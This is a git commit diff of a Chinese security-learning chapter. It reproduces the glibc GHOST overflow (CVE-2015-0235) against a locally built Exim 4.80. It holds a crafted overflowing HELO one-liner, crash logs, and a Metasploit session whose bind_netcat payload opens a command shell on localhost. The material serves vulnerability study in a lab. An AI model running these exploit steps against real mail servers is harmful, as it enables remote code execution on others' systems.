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update 7.1.2
This commit is contained in:
firmianay
parent
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commit
9696ca0dd6
@ -3,13 +3,14 @@
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- [漏洞描述](#漏洞描述)
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- [漏洞复现](#漏洞复现)
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- [漏洞分析](#漏洞分析)
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- [Exim expolit](#exim-exploit)
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- [参考资料](#参考资料)
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[下载文件](../src/exploit/7.1.2_glibc_2015-0235)
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## 漏洞描述
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glibc 是 GNU 的 C 运行库，几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST，发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出，可以通过 `gethostbyname*()` 系列函数触发，最容易的攻击入口是邮件服务器，攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.18 之前。
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glibc 是 GNU 的 C 运行库，几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST，发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出，可以通过 `gethostbyname*()` 系列函数触发，最容易的攻击入口是邮件服务器，攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。
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## 漏洞复现
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@ -18,7 +19,7 @@ glibc 是 GNU 的 C 运行库，几乎所有 Linux 的其他运行库都依赖
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操作系统 | Ubuntu 12.04 | 体系结构：64 位
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调试器 | gdb-peda| 版本号：7.4
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漏洞软件 | glibc | 版本号：2.15
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受影响软件 | Exim4 | 版本号 4.76
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受影响软件 | Exim4 | 版本号 4.80
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通过下面的 PoC 可以知道自己的系统是否受到影响：
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```c
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@ -251,6 +252,278 @@ __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
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+ sizeof (*h_alias_ptr) + strlen (name) + 1);
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```
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#### Exim exploit
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```
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$ sudo apt-get install libpcre3-dev
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$ git clone https://github.com/Exim/exim.git
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$ cd exim/src
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$ git checkout exim-4_80
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$ mkdir Local
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$ cp src/EDITME Local/Makefile
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$ #修改 Makefile 中的 EXIM_USER=你的用户名
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$ #注释掉 EXIM_MONITOR=eximon.bin
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$ #然后取消掉 PCRE_LIBS=-lpcre 的注释
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$ make && sudo make install
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```
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最后为了能够调用 `smtp_verify_helo()`，在 Exim 的配置文件中必须开启 `helo_verify_hosts` 或 `helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`：
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```
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acl_smtp_mail = MAIN_ACL_CHECK_MAIL
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helo_try_verify_hosts = *
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```
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更新并重启软件即可：
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```
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$ update-exim4.conf
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$ exim4 -bP | grep helo_try
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helo_try_verify_hosts = *
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$ sudo /etc/init.d/exim4 stop
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$ sudo /usr/exim/bin/exim -bdf -d+all
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```
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这样就把程序以 debug 模式开启了，之后的所有操作都会被打印出来，方便观察。还是为了方便（懒），后续的所有操作都只在本地运行，
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先简单地看一下 Exim 处理 HELO 命令的过程，在另一个 shell 里，使用 telenet 连接上 Exim，根据前面的限制条件随便输入点什么：
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```
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$ telnet 127.0.0.1 25
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Trying 127.0.0.1...
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Connected to 127.0.0.1.
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Escape character is '^]'.
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220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
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HELO 0123456789
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250 firmy-VirtualBox Hello localhost [127.0.0.1]
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^CConnection closed by foreign host.
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firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
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Trying 127.0.0.1...
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Connected to 127.0.0.1.
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Escape character is '^]'.
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220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
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HELO 0123456789
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250 firmy-VirtualBox Hello localhost [127.0.0.1]
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```
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结果如下：
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```
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17:00:47 5577 Process 5577 is ready for new message
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17:00:47 5577 smtp_setup_msg entered
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17:00:55 5577 SMTP<< HELO 0123456789
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17:00:55 5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
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17:00:55 5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
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17:00:55 5577 set_process_info: 5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
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17:00:55 5577 verifying EHLO/HELO argument "0123456789"
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17:00:55 5577 getting IP address for 0123456789
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17:00:55 5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
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17:00:55 5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
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17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
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17:00:55 5577 LOG: host_lookup_failed MAIN
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17:00:55 5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
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17:00:55 5577 HELO verification failed but host is in helo_try_verify_hosts
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17:00:55 5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]
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```
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可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下：[github](https://github.com/Exim/exim/tree/exim-4_80)
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```c
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// src/src/smtp_in.c
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int
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smtp_setup_msg(void)
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{
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[...]
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while (done <= 0)
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{
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[...]
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switch(smtp_read_command(TRUE))
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{
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[...]
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case HELO_CMD:
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HAD(SCH_HELO);
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hello = US"HELO";
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esmtp = FALSE;
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goto HELO_EHLO;
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case EHLO_CMD:
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HAD(SCH_EHLO);
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hello = US"EHLO";
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esmtp = TRUE;
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// 当 SMTP 命令为 HELO 或 EHLO 时，执行下面的过程
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HELO_EHLO: /* Common code for HELO and EHLO */
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cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
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cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
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/* Reject the HELO if its argument was invalid or non-existent. A
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successful check causes the argument to be saved in malloc store. */
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if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
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{
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[...]
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break;
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}
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[...]
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helo_verified = helo_verify_failed = FALSE;
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if (helo_required || helo_verify)
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{
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BOOL tempfail = !smtp_verify_helo(); // 验证 HELO 是否有效
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if (!helo_verified)
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{
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if (helo_required)
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{
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[...]
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}
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HDEBUG(D_all) debug_printf("%s verification failed but host is in "
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"helo_try_verify_hosts\n", hello);
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}
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}
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```
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继续看函数 `smtp_verify_helo()`：
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```c
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// src/src/smtp_in.c
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BOOL
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smtp_verify_helo(void)
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{
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[...]
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if (!helo_verified)
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{
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int rc;
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host_item h;
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h.name = sender_helo_name;
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h.address = NULL;
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h.mx = MX_NONE;
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h.next = NULL;
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HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
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sender_helo_name);
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rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
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if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
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[....]
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}
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}
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```
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```c
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// src/src/host.c
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int
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host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
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uschar **fully_qualified_name, BOOL local_host_check)
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{
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[...]
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for (i = 1; i <= times;
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#if HAVE_IPV6
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af = AF_INET, /* If 2 passes, IPv4 on the second */
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#endif
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i++)
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{
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[...]
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#if HAVE_IPV6
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if (running_in_test_harness)
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hostdata = host_fake_gethostbyname(host->name, af, &error_num);
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else
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{
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#if HAVE_GETIPNODEBYNAME
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hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
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#else
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hostdata = gethostbyname2(CS host->name, af);
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error_num = h_errno;
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#endif
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}
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#else /* not HAVE_IPV6 */
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if (running_in_test_harness)
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hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
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else
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{
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hostdata = gethostbyname(CS host->name);
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error_num = h_errno;
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}
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#endif /* HAVE_IPV6 */
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```
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函数 `host_find_byname` 调用了 `gethostbyname()` 和 `gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理，也就是在这里可以触发漏洞函数。
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这一次我们输入这样的一串字符，即可导致溢出：
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```
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$ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"
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```
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但是程序可能还是正常在运行的，我们多输入执行几次就会触发漏洞，发生段错误，连接被断开。
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```
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Connection closed by foreign host.
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```
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```
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$ dmesg | grep exim
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[28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
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[28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
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[28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
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[28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]
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```
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其实对于 Exim 的攻击已经集成到了 Metasploit 框架中，我们来尝试一下，正好学习一下这个强大的框架，仿佛自己也可以搞渗透测试。先关掉debug模式的程序，重新以正常的样子打开：
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```
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$ /etc/init.d/exim4 restart
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```
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```
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msf > search exim
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Matching Modules
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================
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Name Disclosure Date Rank Description
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---- --------------- ---- -----------
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exploit/linux/smtp/exim4_dovecot_exec 2013-05-03 excellent Exim and Dovecot Insecure Configuration Command Injection
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exploit/linux/smtp/exim_gethostbyname_bof 2015-01-27 great Exim GHOST (glibc gethostbyname) Buffer Overflow
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exploit/unix/local/exim_perl_startup 2016-03-10 excellent Exim "perl_startup" Privilege Escalation
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exploit/unix/smtp/exim4_string_format 2010-12-07 excellent Exim4 string_format Function Heap Buffer Overflow
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exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection
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msf > use exploit/linux/smtp/exim_gethostbyname_bof
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msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
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RHOST => 127.0.0.1
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msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
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SENDER_HOST_ADDRESS => 127.0.0.1
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msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
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payload => cmd/unix/bind_netcat
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msf exploit(linux/smtp/exim_gethostbyname_bof) > show options
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Module options (exploit/linux/smtp/exim_gethostbyname_bof):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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RHOST 127.0.0.1 yes The target address
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RPORT 25 yes The target port (TCP)
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SENDER_HOST_ADDRESS 127.0.0.1 yes The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
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Payload options (cmd/unix/bind_netcat):
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Name Current Setting Required Description
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---- --------------- -------- -----------
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LPORT 4444 yes The listen port
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RHOST 127.0.0.1 no The target address
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Exploit target:
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Id Name
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-- ----
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0 Automatic
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msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit
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[*] Started bind handler
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[*] 127.0.0.1:25 - Checking if target is vulnerable...
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[+] 127.0.0.1:25 - Target is vulnerable.
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[*] 127.0.0.1:25 - Trying information leak...
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[+] 127.0.0.1:25 - Successfully leaked_arch: x64
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[+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
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[*] 127.0.0.1:25 - Trying code execution...
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[+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
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[+] 127.0.0.1:25 - Brute-force SUCCESS
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[+] 127.0.0.1:25 - Please wait for reply...
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[*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800
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whoami
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Debian-exim
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id
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uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)
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```
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Bingo!!!成功获得了一个反弹 shell。
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对于该脚本到底是怎么做到的，本人水平有限，还有待分析。。。
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## 参考资料
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- [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235)
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Loading…
Reference in New Issue
Block a user